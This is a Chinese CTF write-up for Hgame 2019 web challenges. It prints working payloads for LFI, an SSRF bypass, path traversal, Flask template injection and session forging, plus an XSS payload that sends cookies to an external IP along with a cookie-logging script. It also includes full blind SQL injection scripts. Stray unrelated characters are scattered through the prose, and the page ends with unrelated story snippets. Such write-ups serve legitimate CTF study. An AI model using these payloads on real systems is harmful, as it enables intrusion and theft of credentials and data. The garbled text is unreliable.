Hgame2019 Web WriteUp

easy_php

訪問robots.txt,得到了img/index.php的路徑,訪問后得到源碼:

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

../被過濾,可以用....//來繞過。
因為出現(xiàn)了include_once()绊序,可以通過LFI來讀取flag
構(gòu)造payload得到flag

index.php?img=php://filter/read=convert.base64-encode/resource=....//flag

php trick

# index.php
 <?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}
step 1 fail

繞過$str1 == $str2md5($str1) != md5($str2)
因為$str1 = (string)@$_GET['str1'];秽荞,有了強制轉(zhuǎn)換成string骤公,所以不能使用數(shù)組繞過,通過弱比較繞過即可扬跋。
第二步的md5($str3) !== md5($str4)就可以拿數(shù)組繞過了阶捆。
繞過strpos($_SERVER['QUERY_STRING'], "H_game")可以用到php的恐龍?zhí)匦?/a>。
然后$str5要滿足is_numeric($str5)胁住、$str5<9999999999趁猴、(string)$str5>0,數(shù)組就能實現(xiàn)繞過彪见。
接下來的step 9儡司、step 10和:

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);

是簡單的SSRF。限制就是step 9parse_url($url, PHP_URL_HOST) !== "www.baidu.com"余指。這里利用parse_urllibcurl的差異:

parse_url中獲取的host是最后一個@后面的host捕犬,而libcurl獲取的是第一個@后的。

可以構(gòu)造user@127.0.0.1:80@www.baidu.com/admin.php酵镜,這樣curl訪問的還是127.0.0.1:80/admin.php碉碉,而滿足了條件。
訪問admin.php后得到了其代碼:

# admin.php
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

file_get_contents()淮韭,但是用file_exists()判斷的存在垢粮,有文件則不給看。利用file_get_contentsfile_exists判斷存在差異:

file_get_contents會將路徑轉(zhuǎn)化為絕對路徑而file_exists不會靠粪。

構(gòu)造filename=xxx/../flag.php或者使用php偽協(xié)議也可以讀取蜡吧。
最后payload

?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=3&url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/resource=flag.php

Math

發(fā)現(xiàn)一張圖片毫蚓,源代碼是<img src=/img/cXVlc3Rpb24ucG5n.php>
cXVlc3Rpb24ucG5n經(jīng)過base64解密后為question.png昔善。
嘗試把../../../etc/passwd經(jīng)過base64編碼后Li4vLi4vLi4vZXRjL3Bhc3N3ZA==元潘,放入url中去讀取:

http://test.tan90.me:8080/img/Li4vLi4vLi4vZXRjL3Bhc3N3ZA==.php

可以讀到/etc/passwd文件君仆。
去讀/proc/self/environ

view-source:http://test.tan90.me:8080/img/Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=.php

可以得到CATALINA_HOME=/usr/local/tomcat翩概。
去讀/usr/local/tomcat/conf/server.xml,是正常的tomcat配置文件返咱。
得到網(wǎng)站的根目錄是/usr/local/tomcat/webapps/ROOT钥庇。
這個是Java Web,存在Spring MVC洛姑,嘗試去讀/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml上沐,可以看到url-pattern部分:

    <servlet>
        <servlet-name>mathyouqu</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>mathyouqu</servlet-name>
        <url-pattern>*.php</url-pattern>
    </servlet-mapping>

<servlet-name>mathyouqu</servlet-name>這一行皮服,說明有mathyouqu-servlet.xml存在楞艾。但是里面沒有具體文件名。
訪問例如/img/==.php來查看報錯信息,看到一條:

hgame.controller.MathController.image(MathController.java:51)

然后去讀取/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class龄广。
使用
jad.exe去反編譯得到源碼:

$ jad -o -r -s java 1.class

得到關(guān)鍵java代碼:

    public String Flag(ModelMap model)
    {
        System.out.println("This is the last question.");
        System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
        System.out.println("The flag is hgame{x}.x is a decimal number.");
        model.addAttribute("flag", "Flag is not here.");
        return "flag";
    }

計算123852^x % 612799081 = 6181254136845 % 612799081硫眯。
使用python代碼來運算:

import gmpy2


def bsgs(g,h,p):
    if not gmpy2.is_prime(p):
        return "p is not prime, you shouldn't use BSGS anyway."
    N = int(gmpy2.ceil(gmpy2.sqrt(p - 1)))
    tbl = {pow(g, i, p): i for i in range(N)}
    c = pow(g, N * (p - 2), p)
    for j in range(N):
        y = (h * pow(c, j, p)) % p
        if y in tbl: return j * N + tbl[y]
        return None

print(bsgs(123852, 6181254136845, 612799081))

Baby_Spider

題目加了一些反爬trick

from bs4 import BeautifulSoup
import requests, re


url = 'http://x.x.x.x:xxxx'
token = ''
headers = {
    'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
request = requests.session()
request.headers = headers


def login():
    request.post(url=url + '/', data=dict(token=token))


def get_question():
    soup = BeautifulSoup(request.get(url=url + '/question').content, 'lxml')
    question = soup.select_one('.questioncontainer').text[0:-2]
    return question


def get_question2():
    content = request.get(url=url + '/statics/style.css').text
    question = re.search(r'content:"(?P<question>.*)"', content, re.M | re.I).group('question')[0:-2]
    return question


def solve(question):
    if re.search(r'[a-zA-Z]', question):
        print(question)
        exit()
    solution = eval(question)
    status = request.post(url=url + '/solution', data=dict(answer=str(solution))).status_code
    print(question, solution, status)

if __name__ == '__main__':
    login()
    for i in range(31):
        if i < 10:
            question = get_question()
            solve(question)
        elif i >= 10 and i < 20:
            question = get_question()
            table = str.maketrans('01345679', '10694357')
            real_question = question.translate(table)
            solve(real_question)
        elif i >= 20 <= 30:
            question = get_question2()
            solve(question)
    print(request.get(url + '/').text)

Babyxss

這題后面用bot在運轉(zhuǎn)择同,所以要我們打到admin也就是botcookie两入。
進去看到substr(md5($_POST["code"]),0,4)===8859
一個很常規(guī)的ctf驗證碼敲才,用python得到答案:

import hashlib


def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()


for i in range(1000000):
    if md5(str(i))[0:4] == 'd4f7':
        print(i)
        break

驗證碼是20748裹纳。
經(jīng)過測試,輸入框過濾了一些關(guān)鍵字紧武,例如<scirpt>被過濾為空剃氧,可以雙寫繞過。構(gòu)造:

<scr<script>ipt>document.write("http://118.25.89.91/?'+document.cookie'")</scr</script>ipt>

自己云主機上新建一個receive.php

<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$rec=fopen('cookie.txt','a');
fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");
fclose($rec);
?>

就可以得到flag了阻星。

sqli-1

普通的數(shù)字型sql注入朋鞍。

id=1 union select database() #     // hgame
id=1 union select table_name from information_schema.tables where table_schema=database() #      // welcome、f1l1l1l1g妥箕、words
id=1 union select column_name from information_schema.columns where table_name='f1l1l1l1g' #        // welcom滥酥、f14444444g
id=1 union select f14444444g from f1l1l1l1g #

sqli-2

sql盲注。沒回顯一般會選擇時間盲注畦幢、布爾盲注坎吻、報錯注入。
因為這里只會告訴你sql被執(zhí)行了還是sql語句錯誤宇葱,所以沒法使用布爾盲注瘦真。
時間盲注payload

1 and if((1=2),sleep(2.5),0) #

報錯注入payload

1 and if((1=2),exp(9999999),1) #

時間盲注腳本:

import requests
import hashlib
import re
import time

url = 'http://118.89.111.179:3001/index.php'


def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()


def Get_Database():
    for i in range(20):
        print("Finding the database length............"+str(i))
        payload = "1 and if(length((select schema_name from information_schema.schemata limit 1,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            databaseLen = i
            print("[*] The database length is "+ str(i))
            break
    database = ''
    for i in range(databaseLen):
        print("Finding the database Name............")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                database += chr(int(j))
                continue
    print("[*] The current database is "+ database)


def Get_tables():
    for i in range(20):
        print("Finding the table's length..............")
        payload = "1 and if(length((select table_name from information_schema.tables where table_schema= database() limit 0,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            table_len = i
            print("[*] The table length is "+str(i))
            break
    table_name = ''
    for i in range(table_len):
        print("Finding the table name...................")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),1)"
            time = Get_Data(payload)
            if time >=4.5:
                table_name += chr(int(j))
                continue
    print("[*] The current table is "+ table_name)


def Get_columns():
    for i in range(30):
        print("Finding the columns. length..................")
        payload = "1 and if(length((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            columns_len = i
            print("[*] The columns length is "+str(i))
            break
    columns_name = ''
    for i in range(columns_len):
        print("[*] Finding the columns name:")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                columns_name += chr(int(j))
                continue
    print("[*] The current columns is "+ columns_name)


def Get_flag():
    for i in range(50):
    print("[*] Finding Flag")
        payload = "1 and if(length((select fL4444Ag from F11111114G limit 0,1))="+str(i)+",sleep(5),1)"
        time = Get_Data(payload)
        if time >=4.5:
            flag_len = i
            print("[*] The flag length is "+str(i))
            break
    flag = ''
    for i in range(flag_len):
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select fL4444Ag from F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                flag += chr(int(j))
                continue
    print("[*] The flag is "+ flag)


def Get_Data(payload):
    s = requests.session()
    string = r"===.*<br>"
    r = s.get(url)
    code = re.search(string,r.text).group()
    code = code.replace("=== ","")
    code = code.replace("<br>","")
    for i in range(1, 1000000):
        if md5(str(i)).startswith(code):
            break
    data = {'code':i,'id':payload}
    start = time.time()
    get = s.get(url,params = data)
    end = time.time()
    return (end-start)

    
if __name__ == '__main__':
    Get_Database()
    Get_tables()
    Get_columns()
    Get_flag()

報錯注入腳本:

import requests
import hashlib

url = "http://118.89.111.179:3001/"
rs =requests.session()

def get_code():
    r = rs.get(url)
    substr = r.text.split('= ')[1].split('<')[0]
    for i in range(1000000):
        if hashlib.md5(str(i)).hexdigest()[0:4] == substr:
            return str(i)

def run_sql(payload):
    flag = ''
    key = 0
    for i in range(1,40):
        for j in range(37,127):
            pay=payload.format(str(i),str(j))
            r = rs.get(url+'?code='+get_code()+'&id='+pay)
            if "error" in r.text:
                print str(i)  + "--------" + chr(j)
                flag +=chr(j)
                print "[*] :" + flag
                key = 1
                break
        if key == 0:
            break
payload="1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F11111114G'),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(fL4444Ag) from F11111114G),{0},1))>{1},1,exp(~0))"
run_sql(payload)

happyPython

可以看出來是Flask寫的Web返奉。
輸入url輸入:

http://118.25.18.223:3001/{{config}}

看到flask的一些配置信息。
注冊登錄后吗氏,可以在cookie里的session

session:.eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA

這里嘗試通過構(gòu)造session把自己變成admin芽偏。
訪問:

http://118.25.18.223:3001/{{get_flashed_messages.__globals__['current_app'].config}}}}

可以找到:

'SECRET_KEY': '9RxdzNwq7!nOoK3*'

使用session-cookie-manager解密:

$ python session_cookie_manager.py decode -c ".eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA"

得到:

{"_fresh":true,"_id":"051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb","csrf_token":"e176f2b20dadc20945031a0207d0e8b57b0a5260","user_id":"137"}

"user_id":"137"變成"user_id":"1"后進行加密:

$ python session_cookie_manager.py encode -t "{'_fresh':true,'_id':'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb','csrf_token':'e176f2b20dadc20945031a0207d0e8b57b0a5260','user_id':'1'}" -s "9RxdzNwq7!nOoK3*"

得到session后替換原有session后刷新得到flag

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末弦讽,一起剝皮案震驚了整個濱河市污尉,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌往产,老刑警劉巖被碗,帶你破解...
    沈念sama閱讀 207,113評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異仿村,居然都是意外死亡锐朴,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,644評論 2 381
  • 文/潘曉璐 我一進店門蔼囊,熙熙樓的掌柜王于貴愁眉苦臉地迎上來焚志,“玉大人,你說我怎么就攤上這事畏鼓〗闯辏” “怎么了?”我有些...
    開封第一講書人閱讀 153,340評論 0 344
  • 文/不壞的土叔 我叫張陵云矫,是天一觀的道長膳沽。 經(jīng)常有香客問我,道長让禀,這世上最難降的妖魔是什么挑社? 我笑而不...
    開封第一講書人閱讀 55,449評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮巡揍,結(jié)果婚禮上痛阻,老公的妹妹穿的比我還像新娘。我一直安慰自己吼肥,他們只是感情好录平,可當我...
    茶點故事閱讀 64,445評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著缀皱,像睡著了一般斗这。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上啤斗,一...
    開封第一講書人閱讀 49,166評論 1 284
  • 那天表箭,我揣著相機與錄音,去河邊找鬼钮莲。 笑死免钻,一個胖子當著我的面吹牛彼水,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播极舔,決...
    沈念sama閱讀 38,442評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼凤覆,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了拆魏?” 一聲冷哼從身側(cè)響起盯桦,我...
    開封第一講書人閱讀 37,105評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎渤刃,沒想到半個月后拥峦,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,601評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡卖子,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,066評論 2 325
  • 正文 我和宋清朗相戀三年略号,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片洋闽。...
    茶點故事閱讀 38,161評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡玄柠,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出喊递,到底是詐尸還是另有隱情随闪,我是刑警寧澤阳似,帶...
    沈念sama閱讀 33,792評論 4 323
  • 正文 年R本政府宣布骚勘,位于F島的核電站,受9級特大地震影響撮奏,放射性物質(zhì)發(fā)生泄漏俏讹。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,351評論 3 307
  • 文/蒙蒙 一畜吊、第九天 我趴在偏房一處隱蔽的房頂上張望泽疆。 院中可真熱鬧,春花似錦玲献、人聲如沸殉疼。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,352評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽瓢娜。三九已至,卻和暖如春礼预,著一層夾襖步出監(jiān)牢的瞬間眠砾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,584評論 1 261
  • 我被黑心中介騙來泰國打工托酸, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留褒颈,地道東北人柒巫。 一個月前我還...
    沈念sama閱讀 45,618評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像谷丸,于是被迫代替她去往敵國和親堡掏。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,916評論 2 344

推薦閱讀更多精彩內(nèi)容